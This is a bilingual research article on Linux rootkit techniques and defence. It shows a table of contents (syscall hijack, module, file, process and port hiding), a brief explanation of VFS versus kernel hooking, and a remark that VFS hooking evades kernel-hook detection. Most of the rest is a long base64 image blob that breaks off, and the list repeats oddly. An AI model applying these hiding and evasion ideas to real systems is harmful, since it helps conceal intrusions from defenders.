Rootkit Hacking Technology && Defence Strategy Research
目录
. The Purpose Of Rootkit
. Syscall Hijack
. LKM Module Hidden
. Network Communication Hidden
. File Hidden
. Process Hidden
. Hidden Port Remote Reverse Connections
. Programe Replacing
1. The Purpose Of Rootkit
Basically, the purpose of rootkit is as follows
. The Purpose Of Rootkit
. Syscall Hijack
. LKM Module Hidden
. Network Communication Hidden
. File Hidden
. Process Hidden
. Hidden Port Remote Reverse Connections
. Programe Replacing
从大的方向上来分类,当前的rootkit技术一个核心词就是"hook",围绕着怎么劫持、劫持谁这2个问题,衍生出了非常多的底层rootkit技术(有别于传统的应用层PATH劫持、指令程序替换重定向等技术)
. VFS劫持(/proc下操作句柄劫持)
. Kernel劫持(kernel中断劫持)
从架构层级上来看,Kernel比VFS的层级更低,使用kernel劫持方式能获得更加底层的劫持效果,但是相对的,现在也有很多kernel的劫持检测技术,为了规避这个问题,所以有的rootkit采用了VFS的劫持技术,以此来绕过kernel检测技术,但是因此付出的代价就是劫持的效果会下降
aaarticlea/png;base64,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